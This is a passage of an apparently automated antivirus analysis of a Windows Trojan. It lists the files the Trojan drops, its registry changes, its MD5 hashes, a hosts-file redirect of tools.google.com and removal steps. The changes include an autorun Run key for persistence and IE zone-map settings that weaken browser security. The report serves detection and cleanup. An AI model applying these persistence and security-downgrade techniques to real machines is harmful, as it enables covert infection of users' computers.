%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ro\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fr\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_128.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hu\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\el (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\tr (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\css\craw_window.css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\th (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\bg\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fi\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\et (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nb\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\vi\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_metadata (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ko (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ja (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_BR (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es_419\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\uk (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\el\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\bg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_hover.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\it\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Preferences~RF14e56d.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fil (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ru\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_metadata\verified_contents.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\CURRENT~RF149180.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hi\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Local State~RF14e34a.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\cs (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lv\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ca (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ro (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sl\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en_GB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_window.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Local State~RF1507ba.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\tr\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\et\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_CN (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_maximize.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ru (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fil\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_close.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hr (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hu (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_pressed.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sk (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\flapper.gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ja\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sv (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_PT\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sr (0 bytes)

The process chrome.exe:2468 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es\messages.json (590 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hr\messages.json (526 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_metadata\verified_contents.json (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hi\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es_419\messages.json (548 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\css\craw_window.css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sr\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lv\messages.json (640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_background.js (12376 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\bg\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fi\messages.json (602 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\tr\messages.json (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nb\messages.json (533 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sl\messages.json (527 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_pressed.png (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_window.js (14776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en\messages.json (474 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\html\craw_window.html (810 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_BR\messages.json (560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\vi\messages.json (723 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\th\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\cs\messages.json (588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\et\messages.json (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ca\messages.json (567 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_maximize.png (166 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\el\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\id\messages.json (474 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fil\messages.json (549 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\de\messages.json (570 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_close.png (252 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_TW\messages.json (731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sk\messages.json (596 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lt\messages.json (609 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\da\messages.json (531 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nl\messages.json (499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_hover.png (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en_GB\messages.json (474 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_16.png (531 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ro\messages.json (597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fr\messages.json (597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\flapper.gif (5224 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_128.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\it\messages.json (487 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sv\messages.json (554 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button.png (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_PT\messages.json (566 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hu\messages.json (667 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ja\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\uk\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ko\messages.json (763 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ru\messages.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pl\messages.json (603 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_CN\messages.json (641 bytes)

The process chrome.exe:2420 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SHKE86ZM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\INTYDBJO\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SDJ7K3RV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GV4HH7PU\desktop.ini (67 bytes)

The process wget.exe:2000 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\iis.exe (2721720 bytes)

The process %original file name%.exe:668 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpffplug.zip (768 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\ICNS100.exe (77149 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\cin.exe (58092 bytes)

Registry activity

The process cin.exe:1396 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 DD A7 14 42 A2 6D 31 E5 CD A3 7B BC 07 D7 7D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS]
"wget.exe" = "wget"
"iis.exe" = "iis"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser]
"Chrome.exe" = "Google Chrome"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process iis.exe:448 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC BD AD 55 8A 9C D5 52 54 EF 2E 7B 9F BC 54 04"

The process chrome.exe:876 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C1 8E C0 30 83 59 A0 C6 BF 9B 43 D4 6E DB 46 CF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"experiment_labels" = "CrVar1=3300140|Wed, 19 Aug 2016 04:26:40 GMT;CrVar2=3300073|Wed, 19 Aug 2016 04:26:40 GMT;CrVar3=3300120|Wed, 19 Aug 2016 04:26:40 GMT;CrVar4=3300133|Wed, 19 Aug 2016 04:26:40 GMT;CrVar5=3300106|Wed, 19 Aug 2016 04:26:40 GMT;CrVar6=3300135|Wed, 19 Aug 2016 04:26:40 GMT"
"lastrun" = "13084431995089875"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The process chrome.exe:2468 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "36 D7 76 31 AD 45 BE 64 DF 74 78 53 B5 09 5E 0C"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:336 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "69 FE 50 AE 6F E5 7C F9 CB 33 F7 7A 3D 2F 81 48"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:1308 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 A9 6D CE A0 07 3E C6 E0 2B 48 F8 70 E7 FC F7"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:444 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 58 08 6B 27 3F A7 42 F7 C0 E4 C6 FA 84 A4 8D"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:2068 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 AE 06 B0 9E 0A F1 64 FF E1 34 A3 4F B6 97 0D"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:2420 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5D 17 86 3B 41 BF DC F5 57 7B EE 59 B9 0B 94 A0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The process chrome.exe:2100 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1D 19 80 CC BF 4A 51 81 85 4B 18 E6 54 A8 69 2F"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process chrome.exe:3720 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "81 7B 89 68 EF F8 DC EC AA F8 83 23 18 75 2D 55"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "1"

The process wget.exe:2000 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B 74 59 EC 16 19 80 DF FE 0D 57 78 21 7F 68 30"

The process %original file name%.exe:668 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 17 B3 AF 6C 2B 37 E5 C9 5C D6 91 98 11 BC 21"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\ICNS\BT]
"ID" = "MG0b"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS]
"CIN.exe" = "WindowsFormsApplication1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ICNS" = "%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\ICNS100.exe"

Dropped PE files

MD5 File path
75aa64db6faee798320c5afc217f81bfc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\ICNS\ICNS100.exe
1a790f7732da9d944a3045f4d8ce99c5c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\ICNS\cin.exe
f98d5a7924143f6e687dd92d9af8f3a9c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\ICNS\wget.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 793 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1tools.google.com


Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    iis.exe:448
    chrome.exe:2468
    chrome.exe:444
    chrome.exe:2068
    chrome.exe:2420
    chrome.exe:2100
    chrome.exe:3720
    wget.exe:2000

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %System%\drivers\etc\hosts (793 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\wget.exe (7253 bytes)
